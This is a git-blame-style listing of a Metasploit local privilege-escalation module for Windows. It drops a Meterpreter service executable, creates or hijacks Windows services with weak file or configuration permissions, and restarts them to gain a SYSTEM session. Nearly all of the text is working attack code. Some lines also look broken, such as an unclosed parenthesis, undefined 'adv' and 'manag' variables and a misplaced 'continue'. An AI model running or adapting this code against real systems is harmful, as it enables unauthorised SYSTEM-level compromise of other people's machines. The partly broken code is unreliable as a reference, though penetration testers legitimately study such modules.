2012-10-12 02:42:36 +00:00
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-10-12 02:42:36 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = GreatRanking
|
|
|
|
|
|
|
|
include Msf::Post::Windows::Services
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Windows Escalate Service Permissions Local Privilege Escalation',
|
|
|
|
'Description' => %q{
|
|
|
|
This module attempts to exploit existing administrative privileges to obtain
|
|
|
|
a SYSTEM session. If directly creating a service fails, this module will inspect
|
|
|
|
existing services to look for insecure file or configuration permissions that may
|
|
|
|
be hijacked. It will then attempt to restart the replaced service to run the
|
|
|
|
payload. This will result in a new session when this succeeds. If the module is
|
|
|
|
able to modify the service but does not have permission to start and stop the
|
|
|
|
affected service, the attacker must wait for the system to restart before a
|
|
|
|
session will be created.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'scriptjunkie' ],
|
|
|
|
'Arch' => [ ARCH_X86 ],
|
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
'WfsDelay' => '5'
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', { } ],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate'=> "Oct 15 2012"
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ])
|
|
|
|
])
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
# randomize the filename
|
|
|
|
filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
|
|
|
|
|
|
|
# randomize the exe name
|
|
|
|
tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
|
|
|
|
|
|
|
raw = payload.encoded
|
|
|
|
|
|
|
|
exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw)
|
|
|
|
|
2013-12-15 04:02:11 +00:00
|
|
|
sysdir = expand_path("%SystemRoot%")
|
|
|
|
tmpdir = expand_path("%TEMP%")
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..")
|
|
|
|
begin
|
|
|
|
#
|
|
|
|
# Upload the payload to the filesystem
|
|
|
|
#
|
|
|
|
tempexe = tmpdir + "\\" + tempexe_name
|
2013-12-15 04:02:11 +00:00
|
|
|
write_file(tempexe, exe)
|
2013-08-30 21:28:54 +00:00
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Error uploading file #{filename}: #{e.class} #{e}")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2013-12-15 04:02:11 +00:00
|
|
|
print_status("Trying to add a new service...")
|
|
|
|
service_name = Rex::Text.rand_text_alpha((rand(8)+6))
|
|
|
|
if service_create(service_name,
|
|
|
|
"",
|
|
|
|
tempexe,
|
|
|
|
startup=2)
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
|
2013-12-15 04:02:11 +00:00
|
|
|
print_status("Created service... #{service_name}")
|
|
|
|
ret = service_start(service_name)
|
|
|
|
print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
|
|
|
|
service_delete(service_name)
|
|
|
|
return
|
2013-08-30 21:28:54 +00:00
|
|
|
else
|
|
|
|
print_status("No privs to create a service...")
|
|
|
|
end
|
2013-12-15 04:02:11 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Trying to find weak permissions in existing services..")
|
|
|
|
#Search through list of services to find weak permissions, whether file or config
|
|
|
|
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
|
|
|
|
#for each service
|
|
|
|
service_list.each do |serv|
|
|
|
|
begin
|
|
|
|
moved = false
|
|
|
|
configed = false
|
|
|
|
#default path, but there should be an ImagePath registry key
|
2013-12-15 04:02:11 +00:00
|
|
|
source = expand_path("%SYSTEMROOT%\\system32\\#{serv[:name]}.exe")
|
2013-08-30 21:28:54 +00:00
|
|
|
#get path to exe; parse out quotes and arguments
|
2013-12-15 03:00:29 +00:00
|
|
|
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv[:name]}","ImagePath").to_s
|
2013-12-15 04:02:11 +00:00
|
|
|
sourcemaybe = expand_path(sourceorig)
|
2013-08-30 21:28:54 +00:00
|
|
|
if( sourcemaybe[0] == '"' )
|
|
|
|
sourcemaybe = sourcemaybe.split('"')[1]
|
|
|
|
else
|
|
|
|
sourcemaybe = sourcemaybe.split(' ')[0]
|
|
|
|
end
|
|
|
|
begin
|
2013-12-15 04:02:11 +00:00
|
|
|
file?(sourcemaybe) #check if it really exists
|
2013-08-30 21:28:54 +00:00
|
|
|
source = sourcemaybe
|
|
|
|
rescue
|
2013-12-15 03:00:29 +00:00
|
|
|
print_status("Cannot reliably determine path for #{serv[:name]} executable. Trying #{source}")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2013-12-15 04:02:11 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
#try to exploit weak file permissions
|
2013-12-15 04:02:11 +00:00
|
|
|
if(source != tempexe && file_move(source, source+'.bak')
|
|
|
|
file_move(tempexe, source)
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.")
|
|
|
|
moved = true
|
|
|
|
end
|
2013-12-15 04:02:11 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
#try to exploit weak config permissions
|
2013-12-15 04:02:11 +00:00
|
|
|
if service_change_config(serv[:name], {:bin_path_name => tempexe})
|
2013-12-15 03:00:29 +00:00
|
|
|
print_status("#{serv[:name]} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
|
2013-08-30 21:28:54 +00:00
|
|
|
configed = true
|
|
|
|
end
|
|
|
|
if(moved != true && configed != true)
|
2013-12-15 03:00:29 +00:00
|
|
|
print_status("No exploitable weak permissions found on #{serv[:name]}")
|
2013-08-30 21:28:54 +00:00
|
|
|
continue
|
|
|
|
end
|
2013-12-15 03:00:29 +00:00
|
|
|
print_status("Restarting #{serv[:name]}")
|
2013-08-30 21:28:54 +00:00
|
|
|
#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
|
2013-12-15 03:00:29 +00:00
|
|
|
servhandleret = adv.OpenServiceA(manag["return"],serv[:name],0x30)
|
2013-08-30 21:28:54 +00:00
|
|
|
if(servhandleret["return"] != 0)
|
|
|
|
#SERVICE_CONTROL_STOP = 0x00000001
|
|
|
|
if(adv.ControlService(servhandleret["return"],1,56))
|
|
|
|
session.railgun.kernel32.Sleep(1000)
|
|
|
|
adv.StartServiceA(servhandleret["return"],0,nil)
|
2013-12-15 03:00:29 +00:00
|
|
|
print_status("#{serv[:name]} restarted. You should get a system meterpreter soon. Enjoy.")
|
2013-08-30 21:28:54 +00:00
|
|
|
#Cleanup
|
|
|
|
if moved == true
|
|
|
|
session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
|
|
|
|
end
|
|
|
|
if configed == true
|
2013-12-15 03:00:29 +00:00
|
|
|
servhandleret = adv.OpenServiceA(manag["return"],serv[:name],2)
|
2013-08-30 21:28:54 +00:00
|
|
|
adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
|
|
|
|
0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
|
|
|
|
adv.CloseServiceHandle(servhandleret["return"])
|
|
|
|
end
|
|
|
|
else
|
2013-12-15 03:00:29 +00:00
|
|
|
print_status("Could not restart #{serv[:name]}. Wait for a reboot or force one yourself.")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
adv.CloseServiceHandle(servhandleret["return"])
|
|
|
|
if datastore['AGGRESSIVE'] != true
|
|
|
|
return
|
|
|
|
end
|
|
|
|
else
|
2013-12-15 03:00:29 +00:00
|
|
|
print_status("Could not restart #{serv[:name]}. Wait for a reboot. (or force one yourself)")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
rescue
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2012-10-12 02:42:36 +00:00
|
|
|
end
|